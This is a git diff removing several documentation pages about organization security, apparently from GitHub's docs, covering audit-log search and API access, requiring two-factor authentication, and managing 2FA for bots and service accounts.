b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md deleted file mode 100644 index 4b5b03482766..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Reviewing the audit log for your organization -intro: 'The audit log allows organization admins to quickly review the actions performed by members of your organization. It includes details such as who performed the action, what the action was, and when it was performed.' -redirect_from: - - /articles/reviewing-the-audit-log-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/reviewing-the-audit-log-for-your-organization - - /organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Review audit log ---- - -## Accessing the audit log - -> [!NOTE] -> {% data reusables.webhooks.webhooks-as-audit-log-alternative %} - -The audit log lists events triggered by activities that affect your organization within the last 180 days. Only owners can access an organization's audit log. - -{% data reusables.audit_log.only-three-months-displayed %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.audit_log.audit_log_sidebar_for_org_admins %} - -## Searching the audit log - -{% data reusables.audit_log.audit-log-search %} - -### Search based on the action performed - -To search for specific events, use the `action` qualifier in your query. Actions listed in the audit log are grouped in different categories. For the full list of events in each category, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization). - -| Category name | Description -|------------------|------------------- -| {% ifversion fpt or ghec %} | -| `account` | Contains all activities related to your organization account. -| `advisory_credit` | Contains all activities related to crediting a contributor for a security advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). -| {% endif %} | -| `auto_approve_personal_access_token_requests` | Contains activities related to your organization's approval policy for {% data variables.product.pat_v2 %}s. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). -| {% ifversion fpt or ghec %} | -| `billing` | Contains all activities related to your organization's billing. -| `business` | Contains activities related to business settings for an enterprise. | -| {% endif %} | -| {% ifversion fpt or ghec or ghes > 3.16 %} | -| `code-scanning` | Contains all activities related to your organization's code scanning alerts. | -| {% endif %} | -| {% ifversion fpt or ghec %} | -| `codespaces` | Contains all activities related to your organization's codespaces. | -| `copilot` | Contains all activities related to your {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %} subscription. -| {% endif %} | -| `dependabot_alerts` | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). -| `dependabot_alerts_new_repos` | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization. -| `dependabot_security_updates` | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). -| `dependabot_security_updates_new_repos` | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization. -| {% ifversion fpt or ghec %} | -| `dependency_graph` | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). -| `dependency_graph_new_repos` | Contains organization-level configuration activities for new repositories created in the organization. -| {% endif %} | -| `discussion_post` | Contains all activities related to discussions posted to a team page. -| `discussion_post_reply` | Contains all activities related to replies to discussions posted to a team page. -| `enterprise` | Contains activities related to enterprise settings. | -| `hook` | Contains all activities related to webhooks. -| `integration_installation` | Contains activities related to integrations installed in an account. | -| `integration_installation_request` | Contains all activities related to organization member requests for owners to approve integrations for use in the organization. | -| {% ifversion ghec %} | -| `ip_allow_list` | Contains activities related to enabling or disabling the IP allow list for an organization. -| `ip_allow_list_entry` | Contains activities related to the creation, deletion, and editing of an IP allow list entry for an organization. -| {% endif %} | -| `issue` | Contains activities related to deleting an issue. -| {% ifversion fpt or ghec %} | -| `marketplace_agreement_signature` | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement. -| `marketplace_listing` | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}. | -| {% endif %} | -| `members_can_create_pages` | Contains all activities related to managing the publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization). | -| `org` | Contains activities related to organization membership. -| {% ifversion ghec %} | -| `org_credential_authorization` | Contains all activities related to authorizing credentials for use with SAML single sign-on. | -| {% endif %} | -| `org_secret_scanning_automatic_validity_checks` | Contains organization-level activities related to enabling and disabling automatic validity checks for {% data variables.product.prodname_secret_scanning %}. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#allowing-validity-checks-for-partner-patterns-in-an-organization). -| {% ifversion secret-scanning-audit-log-custom-patterns %} | -| `org_secret_scanning_custom_pattern` | Contains organization-level activities related to {% data variables.product.prodname_secret_scanning %} custom patterns. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). -| {% endif %} | -| `organization_default_label` | Contains all activities related to default labels for repositories in your organization. -| `oauth_application` | Contains all activities related to {% data variables.product.prodname_oauth_apps %}. -| `packages` | Contains all activities related to {% data variables.product.prodname_registry %}. -| {% ifversion fpt or ghec %} | -| `payment_method` | Contains all activities related to how your organization pays for GitHub. -| {% endif %} | -| `personal_access_token` | Contains activities related to {% data variables.product.pat_v2 %}s in your organization. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). -| `profile_picture`| Contains all activities related to your organization's profile picture. -| `project` | Contains all activities related to {% data variables.projects.projects_v1_boards %}. -| `protected_branch` | Contains all activities related to protected branches. -| `repo` | Contains activities related to the repositories owned by your organization. -| {% ifversion fpt or ghec %} | -| `repository_advisory` | Contains repository-level activities related to security advisories in the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). -| `repository_content_analysis` | Contains all activities related to enabling or disabling data use for a private repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories). -| `repository_dependency_graph` | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). -| {% endif %} | -| {% ifversion ghes or ghec %} | -| `repository_secret_scanning` | Contains repository-level activities related to {% data variables.product.prodname_secret_scanning %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). -| {% endif %} | -| `repository_secret_scanning_automatic_validity_checks` | Contains repository-level activities related to enabling and disabling automatic validity checks for {% data variables.product.prodname_secret_scanning %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository). -| {% ifversion secret-scanning-audit-log-custom-patterns %} | -| `repository_secret_scanning_custom_pattern` | Contains repository-level activities related to {% data variables.product.prodname_secret_scanning %} custom patterns. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). | -| {% endif %} | -| {% ifversion secret-scanning-custom-pattern-push-protection-audit %} | -| `repository_secret_scanning_custom_pattern_push_protection`| Contains repository-level activities related to push protection of a custom pattern for {% data variables.product.prodname_secret_scanning %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-a-repository). -| {% endif %} | -| {% ifversion secret-scanning-audit-log-custom-patterns %} | -| `repository_secret_scanning_push_protection` | Contains repository-level activities related to {% data variables.product.prodname_secret_scanning %} push protection. For more information, see [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). -| {% endif %} | -| `repository_vulnerability_alert` | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). -| {% ifversion fpt or ghec %} | -| `repository_vulnerability_alerts` | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}. -| {% endif %} | -| {% ifversion ghec or ghes %} | -| `role` | Contains all activities related to [custom repository roles](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). -| {% endif %} | -| {% ifversion ghes or ghec %} | -| `secret_scanning` | Contains organization-level configuration activities for {% data variables.product.prodname_secret_scanning %} in existing repositories. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). -| `secret_scanning_new_repos` | Contains organization-level configuration activities for {% data variables.product.prodname_secret_scanning %} for new repositories created in the organization. -| {% endif %} | -| {% ifversion fpt or ghec %} | -| `restore_member` | Triggered when an organization owner reinstates a member. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization).| -| `sponsors`| Contains all events related to sponsor buttons (see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository)) -| {% endif %} | -| `team` | Contains all activities related to teams in your organization. -| {% ifversion team-discussions %} | -| `team_discussions` | Contains activities related to managing team discussions for an organization. -| {% endif %} | -| `workflows` | Contains activities related to {% data variables.product.prodname_actions %} workflows. - -You can search for specific sets of actions using these terms. For example: - -* `action:team` finds all events grouped within the team category. -* `-action:hook` excludes all events in the webhook category. - -Each category has a set of associated actions that you can filter on. For example: - -* `action:team.create` finds all events where a team was created. -* `-action:hook.events_changed` excludes all events where the events on a webhook have been altered. - -### Search based on time of action - -Use the `created` qualifier to filter events in the audit log based on when they occurred. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -For example: - -* `created:2014-07-08` finds all events that occurred on July 8th, 2014. -* `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014. -* `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014. -* `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. - -> [!NOTE] -> The audit log contains data for the last 180 days. - -### Search based on location - -Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or its full name. Keep in mind that countries with spaces in their name will need to be wrapped in quotation marks. For example: - -* `country:de` finds all events that occurred in Germany. -* `country:Mexico` finds all events that occurred in Mexico. -* `country:"United States"` all finds events that occurred in the United States. - -{% ifversion ghec %} - -### Search based on access token - -You can identify all events that were performed by a specific access token. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/identifying-audit-log-events-performed-by-an-access-token). - -{% endif %} - -{% ifversion fpt or ghec %} - -## Exporting the audit log - -{% data reusables.audit_log.export-log %} - -{% data reusables.audit_log.git-events-export-limited %} - -{% data reusables.audit_log.exported-log-keys-and-values %} -{% endif %} - -## Using the audit log API - -{% ifversion fpt %} - -Organizations that use {% data variables.product.prodname_ghe_cloud %} can interact with the audit log using the GraphQL API and REST API. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api). - -{% else %} - -You can interact with the audit log using the GraphQL API{% ifversion fpt or ghec %} or the REST API{% endif %}. You can use the `read:audit_log` scope to access the audit log via the APIs. - -{% ifversion ghec %} - -> [!NOTE] -> To use the audit log API, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - -### Using the GraphQL API - -{% endif %} - -To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log GraphQL API to keep copies of your audit log data and monitor: -{% data reusables.audit_log.audit-log-api-info %} - -{% ifversion ghec %} -Note that you can't retrieve Git events using the GraphQL API. To retrieve Git events, use the REST API instead. For more information, see [`git` category actions](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization#git). -{% endif %} - -The GraphQL response can include data for up to 90 to 120 days. - -For example, you can make a GraphQL request to see all the new organization members added to your organization. For more information, see the [AUTOTITLE](/graphql/reference/interfaces#auditentry/). - -{% ifversion ghec %} - -### Using the REST API - -To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log REST API to keep copies of your audit log data. For more information about the specific events you can access using the REST API, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization). - -{% data reusables.audit_log.audit-log-git-events-retention %} - -By default, only events from the past three months are returned. To include older events, you must specify a timestamp in your query. - -{% ifversion ghec %} - -When you use the REST API to request Git events, events that were initiated via the web browser or the REST or GraphQL APIs are not included. For example, when you merge a pull request in the web browser, changes are pushed to the base branch, but the Git event for that push is not included in the response. - -{% endif %} - -For more information about the audit log REST API, see [AUTOTITLE](/rest/orgs#get-the-audit-log-for-an-organization). - -{% endif %} -{% endif %} - -# Further reading - -* [AUTOTITLE](/organizations/keeping-your-organization-secure) -{%- ifversion fpt or ghec %} -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization){% endif %} diff --git a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md b/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md deleted file mode 100644 index 8e7098321e1b..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing two-factor authentication for your organization -shortTitle: Manage 2FA -intro: You can view whether users with access to your organization have two-factor authentication (2FA) enabled{% ifversion mandatory-2fa-required-overview %} or are required to enable 2FA, but haven't yet done so{% endif %}. Additionally, you can require 2FA in your organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /viewing-whether-users-in-your-organization-have-2fa-enabled - - /preparing-to-require-two-factor-authentication-in-your-organization - - /requiring-two-factor-authentication-in-your-organization - - /managing-bots-and-service-accounts-with-two-factor-authentication ---- diff --git a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication.md b/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication.md deleted file mode 100644 index 6673d08c4c4a..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Managing bots and service accounts with two-factor authentication -intro: 'You can manage shared access to bots and service accounts that have two-factor authentication enabled.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage bots & service accounts ---- -## About managing bots or service accounts with two-factor authentication (2FA) - -You should ensure that 2FA is enabled for unattended or shared access accounts in your organization, such as bots and service accounts, so that these accounts stay protected. Enabling 2FA for a bot or service account ensures that users must authenticate with 2FA to sign in to the account on {% data variables.location.product_location %}. It does not affect the account's ability to authenticate with its existing tokens in automations. - -> [!NOTE] -> When you require use of two-factor authentication for your organization, unattended accounts that do not use 2FA will be removed from the organization and will lose access to its repositories. - -## Managing shared access to bots or service accounts with 2FA - -{% data variables.product.prodname_dotcom %} recommends the following steps for managing shared access to bots or service accounts with 2FA enabled. The steps ensure that only people who have access to a mailing list (controlled by you) and a centrally stored TOTP secret can sign in to the account. - -1. Set up a mailing list for the bot or service account which has all of the account owners as members of the alias. -1. Add the new mailing list address as a verified email address in the settings of the shared account. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). -1. If you haven't already done so, configure 2FA for the bot or service account using an authenticator app (TOTP). For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). -1. Store the TOTP secret that's offered during 2FA setup in the password manager used by your organization. - - > [!NOTE] - > Don't store the password for the shared account in the password manager. You will use the password reset functionality every time you need to sign in to the shared account. - - If you have already configured 2FA using TOTP and you need to locate the TOTP secret, use the following steps: - - 1. In the shared account's settings, click **{% octicon "shield-lock" aria-hidden="true" %} Password and authentication**. - 1. Under "Two-factor methods", to the right of "Authenticator app", click **Edit**. - 1. In "Authenticator app", immediately below the QR code, click **setup key**. - - ![Screenshot of the "Authenticator app" settings. An embedded link, titled "setup key", is highlighted in a dark orange outline.](/assets/images/help/2fa/2fa-totp-secret-setup-key-link.png) - - 1. Copy the secret that's displayed in the dialog box. - 1. Reconfigure 2FA using the copied secret. -1. Select a CLI app (such as oathtool) for generating TOTP codes from the TOTP secret. You will use the app to generate a new TOTP code from the TOTP secret every time you need to access the account. For more information, see [oathtool](https://www.nongnu.org/oath-toolkit/man-oathtool.html) in the OATH Toolkit documentation. -1. When you need to access the account, use the password reset functionality to reset the password (via the mailing list), and use the CLI app to generate a TOTP code. diff --git a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md deleted file mode 100644 index ff6e0cc5b047..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Preparing to require two-factor authentication in your organization -intro: 'Before requiring two-factor authentication (2FA), you can notify users about the upcoming change and verify who already uses 2FA.' -redirect_from: - - /articles/preparing-to-require-two-factor-authentication-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/preparing-to-require-two-factor-authentication-in-your-organization - - /organizations/keeping-your-organization-secure/preparing-to-require-two-factor-authentication-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Prepare to require 2FA ---- -{% ifversion fpt or ghec %} -When requiring 2FA in your organization, consider if you also want to enforce usage of only secure methods among your users (secure two-factor methods are passkeys, security keys, authenticator apps, and the GitHub mobile app). -{% endif %} - -We recommend that you notify {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} at least one week before you require 2FA in your organization. - -When you require use of two-factor authentication for your organization, outside collaborators (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories.{% ifversion fpt or ghec %} If you require secure methods of 2FA, outside collaborators who have SMS 2FA configured will be removed. {% endif %} They will also lose access to their forks of the organization's private repositories. -Members and billing managers will retain membership but not be able to access your organization resources until they meet your 2FA requirement{% ifversion fpt or ghec %} and 2FA security level{% endif %}. - -Before requiring 2FA in your organization, we recommend that you: - -* Enable 2FA on your personal account{% ifversion fpt or ghec %} with a secure method {% endif %}. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). -* Ask the people in your organization to set up 2FA for their accounts{% ifversion fpt or ghec %} with secure methods{% endif %}. -{% ifversion fpt or ghec %} -* View the 2FA security levels of users in your organization, to judge the impact of adding a 2FA requirement. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). -{% else %} -* See whether users in your organization have 2FA enabled. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). -{% endif %} -* Enable 2FA for unattended or shared access accounts, such as bots and service accounts. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication). -* Warn users that once 2FA is enabled, outside collaborators without 2FA are automatically removed from the organization, and members and billing managers will not be able to access your organization resources until they enable 2FA. diff --git a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md deleted file mode 100644 index 4a20548e62fb..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Requiring two-factor authentication in your organization -intro: 'Organization owners can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to enable two-factor authentication for their personal accounts, making it harder for malicious actors to access an organization''s repositories and settings.' -redirect_from: - - /articles/requiring-two-factor-authentication-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization - - /organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Require 2FA -product: 'Requiring two-factor authentication is available to organizations on a {% data variables.product.prodname_free_team %} or {% data variables.product.prodname_team %} plan, as well as organizations on {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. With {% data variables.product.prodname_ghe_cloud %}, this feature is unavailable for organizations in an {% data variables.enterprise.prodname_emu_enterprise %}.' ---- - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -## About two-factor authentication for organizations - -{% data reusables.two_fa.about-2fa %} You can require all {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} in your organization to enable two-factor authentication on {% data variables.product.github %}. For more information about two-factor authentication, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). - -{% ifversion fpt or ghec %} - -You can also require two-factor authentication for organizations in an enterprise. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise). - -> [!NOTE] -> Some of the users in your organization may have been selected for mandatory two-factor authentication enrollment by {% data variables.product.prodname_dotcom %}, but it has no impact on how you enable the 2FA requirement for your organization. If you enable the 2FA requirement in your organization, all users without 2FA currently enabled will be removed from your organization, including those that are required to enable it by {% data variables.product.prodname_dotcom %}. - -> [!WARNING] -> * When you require use of two-factor authentication for your organization, members and billing managers who do not use 2FA will not be able to access your organization's resources until they enable 2FA on their account. They will retain membership even without 2FA, including consuming {% ifversion enterprise-licensing-language %}licenses{% else %}seats{% endif %} in your organization. -> * When you require use of two-factor authentication for your organization, outside collaborators who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable 2FA for their personal account within three months of their removal from your organization. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization). -> * You will also need to enable two-factor authentication for unattended or shared access accounts that are outside collaborators, such as bots and service accounts. If you do not configure 2FA for these unattended outside collaborator accounts after you've enabled required 2FA, the accounts will be removed from the organization and lose access to their repositories. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication). -> * If an outside collaborator disables two-factor authentication for their personal account after you've enabled required 2FA, they will automatically be removed from the organization. -> * If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required 2FA for the organization. - -{% else %} - -> [!WARNING] -> * When you require use of two-factor authentication for your organization, members and outside collaborators who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their personal account within three months of their removal from your organization. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization). -> * You will also need to enable 2FA for unattended or shared access accounts, such as bots and service accounts. If you do not configure 2FA for these unattended accounts after you've enabled required two-factor authentication, the accounts will be removed from the organization and lose access to their repositories. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication). -> * If an organization owner, member, or outside collaborator disables 2FA for their personal account after you've enabled required two-factor authentication, they will automatically be removed from the organization. -> * If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization. - -{% endif %} - -{% data reusables.two_fa.auth_methods_2fa %} - -## Prerequisites - -Before you can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to use two-factor authentication, you must enable 2FA for your account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). - -Before you require use of two-factor authentication, we recommend notifying {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} and asking them to set up 2FA for their accounts. You can see if members and outside collaborators already use 2FA. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). - -## Requiring two-factor authentication in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.organizations.require_two_factor_authentication %} -{% data reusables.organizations.removed_outside_collaborators %} -{% ifversion fpt or ghec %} -1. If any outside collaborators are removed from the organization, we recommend sending them an invitation that can reinstate their former privileges and access to your organization. They must enable two-factor authentication before they can accept your invitation. -{% endif %} - -{% ifversion fpt or ghec %} - -### Requiring secure methods of two-factor authentication in your organization - -Alongside requiring two-factor authentication, you can require that organization members, billing managers, and outside collaborators use secure methods of 2FA. Secure two-factor methods are passkeys, security keys, authenticator apps, and the GitHub mobile app. Users who do not have a secure method of 2FA configured, or who have any insecure method configured, will be prevented from accessing organization resources. - -Before you require secure methods of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up secure 2FA for their accounts. You can see if members and outside collaborators already use secure methods of 2FA on each organization's People page. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). - -{% data reusables.organizations.secure_two_factor_authentication %} -{% data reusables.organizations.secure_two_factor_authentication_confirm %} -1. Optionally, if any outside collaborators are removed from your organization, we recommend sending them an invitation to reinstate their former privileges and access. Each person must enable 2FA with a secure method before they can accept your invitation. - -{% endif %} - -## Viewing people who were removed from your organization - -To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can search your organization's audit log for people removed from your organization. The audit log event will show if a person was removed for 2FA non-compliance. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.audit_log.audit_log_sidebar_for_org_admins %} -1. Enter your search query. To search for outside collaborators removed, use `action:org.remove_outside_collaborator` in your search query - - You can also view people who were removed from your organization by using a [time frame](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-time-of-action) in your search. - -## Helping removed outside collaborators rejoin your organization - -If any outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization. - -## Further reading - -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa) -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/reinstating-a-former-outside-collaborators-access-to-your-organization) diff --git a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md b/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md deleted file mode 100644 index 77b067271c76..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Viewing whether users in your organization have 2FA enabled -intro: 'You can see which organization owners, members, and outside collaborators have enabled two-factor authentication{% ifversion mandatory-2fa-required-overview %} or are required to do so{% endif %}.' -redirect_from: - - /articles/viewing-whether-users-in-your-organization-have-2fa-enabled - - /github/setting-up-and-managing-organizations-and-teams/viewing-whether-users-in-your-organization-have-2fa-enabled - - /organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: View 2FA usage ---- - -> [!NOTE] -> You can require that all members{% ifversion fpt or ghec %}, including, owners, billing managers and{% else %} and{% endif %} outside collaborators in your organization have two-factor authentication enabled{% ifversion fpt or ghec %}, as well as enforcing that they have secure methods configured {% endif %}. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} - -{% ifversion fpt or ghec 